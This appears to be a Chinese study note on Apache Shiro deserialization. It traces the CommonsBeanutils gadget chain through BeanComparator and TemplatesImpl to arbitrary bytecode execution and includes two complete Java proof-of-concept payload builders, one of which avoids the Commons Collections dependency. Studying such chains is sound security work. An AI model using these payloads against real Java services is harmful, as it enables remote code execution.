shiro反序列化 0.前置知识 JavaBean 如果一个class满足以下条件
1 2 若干private实例字段; 通过public方法来读写实例字段。
例如
1 2 3 4 5 6 7 8 9 10 11 12 public class bean { private String name; public String getName () { return name; } public void setName (String name) { this .name = name; } }
那么这种class
被称为JavaBean
Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法
BeanUtils:主要提供了对于 JavaBean 进行各种操作,比如对象,属性复制等等,自动转换数据类型。 PropertyUtils:用处大致与 BeanUtils 相同,但是如果类型不能自动转换会抛异常。 CollectionUtils :集合处理类,集合类型转化,取交集、并集等方法。 ConvertUtils:数据类型转换类,BeanUtils 的自动类型转换就要到了它。
PropertyUtils 提供了一个方法 PropertyUtils.getProperty,可以通过类和类里面成员的名字去直接调用javabean的getter方法
1.CommonsBeanutils 在CommonsBeanutils包里面存在了一个类BeanComparator,然后给存在一个方法compare
1 2 3 4 5 6 7 8 9 10 11 12 13 public int compare (Object o1, Object o2) { if (this .property == null ) { return this .comparator.compare(o1, o2); } else { try { Object value1 = PropertyUtils.getProperty(o1, this .property); Object value2 = PropertyUtils.getProperty(o2, this .property); return this .comparator.compare(value1, value2); } catch (Exception var5) { throw new ClassCastException (var5.toString()); } } }
可以看到调用了这个getProperty方法,可以调用一个getter方法
在TemplatesImpl里面存在一个get方法getOutputProperties()
1 2 3 4 5 6 7 8 public synchronized Properties getOutputProperties () { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null ; } }
会触发newnewTransformer方法,可以执行任意字节码
poc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 public class shiroCB1 { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"aaa" ); Field bytecodesField = tc.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("D:\\Desktop\\ctf\\src\\main\\java\\org\\example\\CC\\hello.class" )); byte [][] codes = {code}; bytecodesField.set(templates,codes); Field tfactoryField = tc.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates,new TransformerFactoryImpl ()); BeanComparator beanComparator = new BeanComparator ("outputProperties" ,new AttrCompare ()); TransformingComparator transformingComparator = new TransformingComparator (new ConstantTransformer (1 )); PriorityQueue priorityQueue = new PriorityQueue (transformingComparator); priorityQueue.add(templates); priorityQueue.add(2 ); Class c = priorityQueue.getClass(); Field comparatorField = c.getDeclaredField("comparator" ); comparatorField.setAccessible(true ); comparatorField.set(priorityQueue,beanComparator); serialize(priorityQueue); unserialize("ser.bin" ); } public static void serialize (Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws Exception { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
调试分析 首先触发了PriorityQueue的readobject方法
调试下来,然后触发compare
然后就是常规的任意字节码执行
2.serialVersionUID 在两个不同的版本的库里面如果都存在同一个类,可是类的方法和属性发生了变化,导致不能兼容出现隐患。因此java在序列化的时候会计算出一个serialVersionUID,在反序列化的时候,根据当前的环境计算出一个serialVersionUID值,如果和数据流中的serialVersionUID不相同,就不会继续序列化下去抛出
3.CommonsBeanutils无依赖 当我们没有传入BeanComparator的参数的时候,默认情况下调用的是org.apache.commons.collections.comparators.ComparableComparator,
由于有些shiro中没有添加CC的依赖,不存在ComparableComparator,所以我们普通的链子是不能直接完成rce的,我们需要在寻找一个不依赖CC的类使用。
在java.lang.String类下面存在一个类CaseInsensitiveComparator
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 private static class CaseInsensitiveComparator implements Comparator <String>, java.io.Serializable { private static final long serialVersionUID = 8575799808933029326L ; public int compare (String s1, String s2) { int n1 = s1.length(); int n2 = s2.length(); int min = Math.min(n1, n2); for (int i = 0 ; i < min; i++) { char c1 = s1.charAt(i); char c2 = s2.charAt(i); if (c1 != c2) { c1 = Character.toUpperCase(c1); c2 = Character.toUpperCase(c2); if (c1 != c2) { c1 = Character.toLowerCase(c1); c2 = Character.toLowerCase(c2); if (c1 != c2) { return c1 - c2; } } } } return n1 - n2; }
我们可以利用他传递链子
poc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 public class shiroCB { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"aaa" ); Field bytecodesField = tc.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("D:\\Desktop\\ctf\\src\\main\\java\\org\\example\\CC\\hello.class" )); byte [][] codes = {code}; bytecodesField.set(templates,codes); Field tfactoryField = tc.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates,new TransformerFactoryImpl ()); final BeanComparator beanComparator = new BeanComparator (null ,String.CASE_INSENSITIVE_ORDER); final PriorityQueue priorityQueue = new PriorityQueue (2 ,beanComparator); priorityQueue.add("1" ); priorityQueue.add("1" ); Field compare = beanComparator.getClass().getDeclaredField("property" ); compare.setAccessible(true ); compare.set(beanComparator,"outputProperties" ); Field property = priorityQueue.getClass().getDeclaredField("queue" ); property.setAccessible(true ); property.set(priorityQueue,new Object []{templates,templates}); serialize(priorityQueue); unserialize("ser.bin" ); } public static void serialize (Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws Exception { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
4.CommonsCollections 在java反序列化_CC链 里面已经讲述过了,这里不细说